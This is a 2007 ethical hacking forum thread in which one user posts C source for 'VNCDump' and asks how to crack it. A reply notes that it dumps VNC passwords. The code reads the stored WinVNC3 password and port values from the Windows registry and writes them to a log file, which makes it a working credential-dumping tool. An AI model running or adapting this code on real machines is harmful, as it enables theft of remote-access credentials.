Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 50 guests and 1 member online
 
Advertisement

You are here: Home arrow Ethical Hacking Discussions and Related Certificationsarrow Otherarrow What can I get from this?
EH-Net
May 23, 2013, 11:48:53 AM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Go back to The Ethical Hacker Network Online Magazine Home Page
 
   Home   Help Calendar Login Register  
Pages: [1]   Go Down
  Print  
Author Topic: What can I get from this?  (Read 3072 times)
0 Members and 1 Guest are viewing this topic.
koran42
Newbie
*
Offline Offline

Posts: 4


View Profile
« on: September 15, 2007, 07:48:16 PM »

how can i crack this? i think there is a password there, but i don't know yet how to crack it, in auggestions please?

it's encrypted winrar file.



#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

void main(int argc,char *argv[])
{
   HKEY key;
   HKEY key2;
   unsigned char buffer[8];
   unsigned char buffer2[8];
   unsigned char port[16];
   unsigned char port2[32];
   unsigned long PSize2 = sizeof(port2);
   unsigned long PSize = sizeof(port);
   unsigned long size = sizeof(buffer);
   unsigned long size2 = sizeof(buffer2);
   printf("\tVNCDump By KD-Team\n");
   FILE *VFile;
   VFile = fopen("vnclog.txt","a+");
   if(ERROR_SUCCESS == RegOpenKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\ORL\\WinVNC3",0,KEY_ALL_ACCESS,&key))
   {
      printf("Opening Key \"HKCU\" succeded\n");
      printf("Handle: %i\n",key);
   }
   else
   {
      printf("Opening Key Failed\n");
      RegCloseKey(key);
   }

   if(ERROR_SUCCESS == RegQueryValueEx(key,"Password",NULL,0,buffer,&size))//(LPBYTE)
   {
      printf("Quering Key succeded\n");
      printf("HKCU Password\n");
      fprintf(VFile,"%s","HKCU\n");
      fprintf(VFile,"%s","Password: ");
      for(int length = 0; length < sizeof(buffer); length++)
      {
         printf("%x", buffer[length]);
         fprintf(VFile,"%x",buffer[length]);
      }
      fprintf(VFile,"%s","\n");
      memset(&buffer,0,sizeof(buffer));
      printf("\n");

      if(ERROR_SUCCESS == RegQueryValueEx(key,"PortNumber",NULL,0,port,&PSize))//(LPBYTE)
      {
         printf("Quering Key succeded\n");
         printf("HKCU PortNumber\n");
         fprintf(VFile,"%s","HKCU\n");
         fprintf(VFile,"%s","PortNumber: ");
         for(int length = strlen(port); length >= 0 ; length--)
         {
            printf("%x", port[length]);
            fprintf(VFile,"%x",port[length]);
         }
         fprintf(VFile,"%s","\n");
         fclose(VFile);
         RegCloseKey(key);
      }
      else
      {
         printf("Quering Key Failed\n");
         RegCloseKey(key);
      }
   }
   else
   {
      printf("Quering Key Failed\n");
      RegCloseKey(key);
   }
//**********************************************************************************************************
   VFile = fopen("vnclog.txt","a+");
   if(ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\ORL\\WinVNC3\\Default",0,KEY_ALL_ACCESS,&key2))
   {
      printf("\nOpening Key \"HKLM\" succeded\n");
      printf("Handle: %i\n",key2);
   }
   else
   {
      printf("Opening Key Failed\n");
      RegCloseKey(key2);
   }

   if(ERROR_SUCCESS == RegQueryValueEx(key2,"Password",NULL,0,buffer2,&size2))//(LPBYTE)
   {
      printf("Quering Key succeded\n");
      printf("HKLM Password\n");
      fprintf(VFile,"%s","HKLM\n");
      fprintf(VFile,"%s","Password: ");
      for(int length2 = 0; length2 < sizeof(buffer2); length2++)
      {
         printf("%x", buffer2[length2]);
         fprintf(VFile,"%x",buffer2[length2]);
      }
      fprintf(VFile,"%s","\n");
      memset(&buffer2,0,sizeof(buffer2));
      printf("\n");
      if(ERROR_SUCCESS == RegQueryValueEx(key2,"PortNumber",NULL,0,port2,&PSize2))//(LPBYTE)
      {
         printf("Quering Key succeded\n");
         printf("HKLM PortNumber\n");
         fprintf(VFile,"%s","HKLM\n");
         fprintf(VFile,"%s","PortNumber: ");
         for(int length2 = strlen(port2); length2 >= 0 ; length2--)
         {
            printf("%x", port2[length2]);
            fprintf(VFile,"%x",port2[length2]);
         }
         fprintf(VFile,"%s","\n");
         fclose(VFile);
         RegCloseKey(key2);
      }
      else
      {
         printf("Quering Key Failed\n");
         RegCloseKey(key2);
      }
   }
   else
   {
      printf("Quering Key Failed\n");
      RegCloseKey(key2);
   }
}
Logged
0blivi0n
Newbie
*
Offline Offline

Posts: 11


View Profile
« Reply #1 on: September 17, 2007, 09:49:04 AM »

you look for a password in here? Just from a quick look i dont think that there is a password in here but its just an application that it will help you dump the user password from a windows vnc service.

I'll have a closer look tonight and inform you!
cheers mate!
Logged
Pages: [1]   Go Up
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.18 | SMF © 2013, Simple Machines
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.054 seconds with 23 queries.
 
Exclusive Deal

sansfire13_245x90_cw90.jpg
SANSFIRE 2013
June 15 - 22

5% Off w/ Code: EHN_5

SANS Deals 4 EH-Netters
5% OFF Any SANS Course in Any Format!
Coupon Code: EHN_5 Including SANS Rocky Mountain 2013 & SANS Boston 2013
Polls
Compared to this year, 2013 will be:
 
Recent Forum Topics
EH-Net News Feeds
Latest Additions
 
         
Advertisement

© 2013 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.